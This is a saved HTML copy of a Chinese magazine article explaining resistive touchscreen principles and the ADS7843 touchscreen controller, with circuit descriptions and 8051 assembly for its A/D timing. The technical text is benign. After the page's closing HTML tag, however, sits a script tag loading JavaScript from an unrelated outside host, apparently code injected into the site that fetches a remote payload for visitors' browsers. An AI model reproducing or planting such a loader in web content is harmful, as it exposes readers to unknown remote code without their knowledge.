📄 触摸屏的工作原理及应用.htm
字号:
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=style1>作者: </TD>
<TD class=style1>天津大学 陈世利 孙墨杰 栗大超 靳世久</TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD class=style1 colSpan=3> </TD></TR>
<TR>
<TD class=style1 colSpan=3>
<P><STRONG>摘要</STRONG>
简要介绍触摸屏的结构及工作原理,并以Burr-Brown公司的触摸屏控制芯片ADS7843为例,介绍触摸屏应用的典型电路和操作。由于ADS7843内置12位A/D,理论上触摸屏的输入坐标识别精度为有效长宽的1/4096。<BR>
<BR><STRONG>关键词</STRONG> 触摸屏 ITO ADS7843 嵌入式系统</P>
<P><STRONG>1 触摸屏的基本原理</STRONG></P>
<P> 典型触摸屏的工作部分一般由三部分组成,如图1所示:两层透明的阻性导体层、两层导体之间的隔离层、电极。阻性导体层选用阻性材料,如铟锡氧化物(ITO)涂在衬底上构成,上层衬底用塑料,下层衬底用玻璃。隔离层为粘性绝缘液体材料,如聚脂薄膜。电极选用导电性能极好的材料(如银粉墨)构成,其导电性能大约为ITO的1000倍。</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_1.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_1.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图1
触摸屏结构</P>
<P> 触摸屏工作时,上下导体层相当于电阻网络,如图2所示。当某一层电极加上电压时,会在该网络上形成电压梯度。如有外力使得上下两层在某一点接触,则在电极未加电压的另一层可以测得接触点处的电压,从而知道接触点处的坐标。比如,在顶层的电极(X+,X-)上加上电压,则在顶层导体层上形成电压梯度,当有外力使得上下两层在某一点接触,在底层就可以测得接触点处的电压,再根据该电压与电极(X+)之间的距离关系,知道该处的X坐标。然后,将电压切换到底层电极(Y+,Y-)上,并在顶层测量接触点处的电压,从而知道Y坐标。</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_2.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_2.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图2
工作时的导体层</P>
<P><STRONG>2 触摸屏的控制实现</STRONG></P>
<P> 现在很多PDA应用中,将触摸屏作为一个输入设备,对触摸屏的控制也有专门的芯片。很显然,触摸屏的控制芯片要完成两件事情:其一,是完成电极电压的切换;其二,是采集接触点处的电压值(即A/D)。本文以BB(Burr-Brown)公司生产的芯片ADS7843为例,介绍触摸屏控制的实现。</P>
<P>2.1 ADS7843的基本特性与典型应用</P>
<P> ADS7843是一个内置12位模数转换、低导通电阻模拟开关的串行接口芯片。供电电压2.7~5 V,参考电压VREF为1
V~+VCC,转换电压的输入范围为0~ VREF,最高转换速率为125
kHz。ADS7843的引脚配置如图3所示。表1为引脚功能说明,图4为典型应用。</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_3.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_3.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图3
ADS7843引脚</P>
<P align=center>表1 引脚功能说明<BR><A
href="触摸屏的工作原理及应用.files/200202_3_4.gif" target=_blank><IMG alt=按此在新窗口浏览图片
src="触摸屏的工作原理及应用.files/200202_3_4.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR></P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_5.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_5.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图4
ADS7843的典型应用</P>
<P>2.2 ADS7843的内部结构及参考电压模式选择</P>
<P> ADS7843之所以能实现对触摸屏的控制,是因为其内部结构很容易实现电极电压的切换,并能进行快速A/D转换。图5所示为其内部结构,A2~A0和SER/为控制寄存器中的控制位,用来进行开关切换和参考电压的选择。</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_6.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_6.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图5
ADS7843内部结构</P>
<P> ADS7843支持两种参考电压输入模式:一种是参考电压固定为VREF,另一种采取差动模式,参考电压来自驱动电极。这两种模式分别如图6(a)、(b)所示。采用图6(b)的差动模式可以消除开关导通压降带来的影响。表2和表3为两种参考电压输入模式所对应的内部开关状况。</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_8.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_8.gif"
onload="if(this.clientWidth>500)this.width=500"
border=0></A><BR>图6 参考电压输入模式</P>
<P align=center>表2 参考电压非差动输入模式(SER/DFR="1")<BR><A
href="触摸屏的工作原理及应用.files/200202_3_7.gif" target=_blank><IMG alt=按此在新窗口浏览图片
src="触摸屏的工作原理及应用.files/200202_3_7.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A></P>
<P align=center>表3 参考电压差动输入模式(SER/DFR="0")<BR><A
href="触摸屏的工作原理及应用.files/200202_3_9.gif" target=_blank><IMG alt=按此在新窗口浏览图片
src="触摸屏的工作原理及应用.files/200202_3_9.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A></P>
<P>2.3 ADS7843的控制字及数据传输格式</P>
<P> ADS7843的控制字如表4所列,其中S为数据传输起始标志位,该位必为"1"。A2~A0进行通道选择(见表2和3)。MODE用来选择A/D转换的精度,"1"选择8位,"0"选择12位。SER/选择参考电压的输入模式(见表2和3)。PD1、PD0选择省电模式:"00"省电模式允许,在两次A/D转换之间掉电,且中断允许;"01"同"00",只是不允许中断;"10"保留;"11"禁止省电模式。</P>
<P align=center>表4 ADS7843的控制字<BR><A
href="触摸屏的工作原理及应用.files/200202_3_10.gif" target=_blank><IMG alt=按此在新窗口浏览图片
src="触摸屏的工作原理及应用.files/200202_3_10.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A></P>
<P> 为了完成一次电极电压切换和A/D转换,需要先通过串口往ADS7843发送控制字,转换完成后再通过串口读出电压转换值。标准的一次转换需要24个时钟周期,如图7所示。由于串口支持双向同时进行传送,并且在一次读数与下一次发控制字之间可以重叠,所以转换速率可以提高到每次16个时钟周期,如图8所示。如果条件允许,CPU可以产生15个CLK的话(比如FPGAs和ASICs),转换速率还可以提高到每次15个时钟周期,如图9所示。</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_11.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_11.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图7
A/D转换时序(每次转换需24个时钟周期)</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_12.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_12.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图8
A/D转换时序(每次转换需16个时钟周期)</P>
<P align=center><A href="触摸屏的工作原理及应用.files/200202_3_13.gif"
target=_blank><IMG alt=按此在新窗口浏览图片 src="触摸屏的工作原理及应用.files/200202_3_13.gif"
onload="if(this.clientWidth>500)this.width=500" border=0></A><BR>图9
A/D转换时序(每次转换需15个时钟周期)</P>
<P>2.4 A/D转换时序的程序设计</P>
<P> ADS7843的典型应用如图4所示。假设μP接口与51单片机的P1.3~P1.7相连,现以一次转换需24个时钟周期为例,介绍A/D转换时序的程序设计。</P>
<P>; A/D 接口控制线<BR>DCLK BIT P1.3<BR>CS BIT P1.4<BR>DIN BIT P1.5<BR>BUSY BIT
P1.6<BR>DOUT BIT P1.7<BR>; A/D 通道选择命令字和工作寄存器<BR>CHX EQU 094H
;通道X+的选择控制字<BR>CHY EQU 0D4H;通道Y+的选择控制字<BR>CH3 EQU 0A4H <BR>CH4 EQU
0E4H<BR>AD_CH EQU 35H ;通道选择寄存器<BR>AD_RESULTH EQU 36H ;存放12 bit
A/D值<BR>AD_RESULTL EQU 37H<BR>; 存放通道CHX+的A/D值<BR>CHXAdResultH EQU 38H
<BR>CHXAdResultL EQU 39H<BR>; 存放通道CHY+的A/D值<BR>CHYAdResultH EQU
3AH<BR>CHYAdResultL EQU 3BH<BR>; 采集通道CHX+的程序段(CHXAD)<BR>CHXAD: MOV
AD_CH,#CHX<BR> LCALL AD_RUN<BR> MOV CHXAdResultH,AD_RESULTH<BR> MOV
CHXAdResultL,AD_RESULTL<BR> RET<BR>; 采集通道CHY+的程序段(CHYAD)<BR>CHYAD: MOV
AD_CH,#CHY<BR> LCALL AD_RUN<BR> MOV CHYAdResultH,AD_RESULTH<BR> MOV
CHYAdResultL,AD_RESULTL<BR> RET<BR>; A/D转换子程序(AD_RUN)<BR>; 输入:
AD_CH-模式和通道选择命令字<BR>; 输出: AD_RESULTH,L ;12 bit的A/D转换值<BR>; 使用: R2
;辅助工作寄存器<BR>AD_RUN: <BR> CLR CS ; 芯片允许<BR> CLR DCLK <BR> MOV R2,#8 ;先写8
bit命令字<BR> MOV A,AD_CH <BR>AD_LOOP: <BR> MOV C, ACC.7 <BR> MOV DIN,C
;时钟上升沿锁存DIN<BR> SETB DCLK ;开始发送命令字<BR> CLR DCLK ;时钟脉冲,一共24个<BR> RL
A<BR> DJNZ R2,AD_LOOP<BR> NOP<BR> NOP<BR> NOP<BR> NOP<BR>ADW0: JNB
BUSY,AD_WAIT ;等待转换完成<BR> SJMP ADW1<BR>AD_WAIT: <BR> LCALL
WATCHDOG<BR> NOP<BR> SJMP ADW0<BR> CLR DIN <BR>ADW1: MOV R2,#12
;开始读取12bit结果<BR> SETB DCLK<BR> CLR DCLK<BR>AD_READ:<BR> SETB
DCLK<BR> CLR DCLK ;用时钟的下降沿读取<BR> MOV A,AD_RESULTL<BR> MOV
C,DOUT<BR> RLC A<BR> MOV AD_RESULTL,A<BR> MOV A,AD_RESULTH<BR> RLC
A<BR> MOV AD_RESULTH,A<BR> DJNZ R2,AD_READ<BR> MOV R2,#4
;最后是没用的4个时钟<BR>IGNORE:<BR> SETB DCLK<BR> CLR DCLK<BR> DJNZ
R2,IGNORE<BR> SETB CS ;禁止芯片<BR> ANL AD_RESULTH,#0FH ;屏蔽高4
bit<BR> RET</P>
<P>2.5 A/D转换结果的数据格式 </P>
<P> ADS7843转换结果为二进制格式。需要说明的是,在进行公式计算时,参考电压在两种输入模式中是不一样的。而且,如果选取8位的转换精度,1LSB=VREF/256,一次转换完成时间可以提前4个时钟周期,此时串口时钟速率也可以提高一倍。</P>
<P><STRONG>结束语</STRONG></P>
<P> 在许多嵌入式系统中,CPU提供专门的模块来支持液晶显示和触摸屏的输入,使得接口非常简单。比如,MOTOROLA的MC68VZ328(称为Dragon
Ball)就提供专门的引脚来支持8位和4位的液晶显示,对触摸屏的支持通过SPI2借助ADS7843也很容易完成。</P>
<P align=center><STRONG>参考文献</STRONG></P>
<P>1 MC68VZ328 Integrated Processor User's Manual<BR>2
M68VZ328ADS Application Development System User's Manual. Revision
1.4. 2000<BR>3 Burr-Brown IC Data Book</P></TD></TR>
<TR>
<TD colSpan=3> </TD></TR>
<TR>
<TD class=style2 bgColor=#e0f1fe> </TD>
<TD align=right bgColor=#e0f1fe colSpan=2>
<TABLE class=css1 cellSpacing=0 cellPadding=0 width="60%" border=0>
<TBODY>
<TR>
<TD><A class=css1 href="javascript:window.history.go(-1)">[返回上页]
</A></TD>
<TD><A class=css1 href="javascript:close();">[关闭本页] </A></TD>
<TD><A class=css1 href="javascript:window.print();">[打印本页]
</A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><!-- InstanceEndEditable -->
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=0 width=778 bgColor=#ffffff border=0>
<TBODY>
<TR>
<TD class=style1 vAlign=bottom align=middle height=20>CopyRight © 2006
《单片机与嵌入式系统应用》杂志社 <A class=css2
href="mailto:webmaster@mesnet.com.cn">mailto:webmaster@mesnet.com.cn</A></TD></TR>
<TR>
<TD class=style1 vAlign=center align=middle height=20>编辑部:(010)82338009
广告部:(010)82313656/82317029 网络部:(010)82317043
传真:(010)82317043</TD></TR>
<TR>
<TD class=style1 vAlign=top align=middle height=20>投稿专用: <A class=css2
href="mailto:paper@mesnet.com.cn">mailto:paper@mesnet.com.cn</A> 广告专用:
<A class=css2 href="mailto:adv@mesnet.com.cn">adv@mesnet.com.cn</A></TD></TR>
<TR>
<TD class=style1 vAlign=center align=middle bgColor=#e0f1fe
height=20>每月1日出版 国际标准16开本 每期定价:8元 国内统一刊号CN
11-4530/V 国际标准刊号ISSN 1009-623X 邮发代号:2-765
</TD></TR></TBODY></TABLE></DIV></DIV><!-- InstanceEnd --></BODY></HTML>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -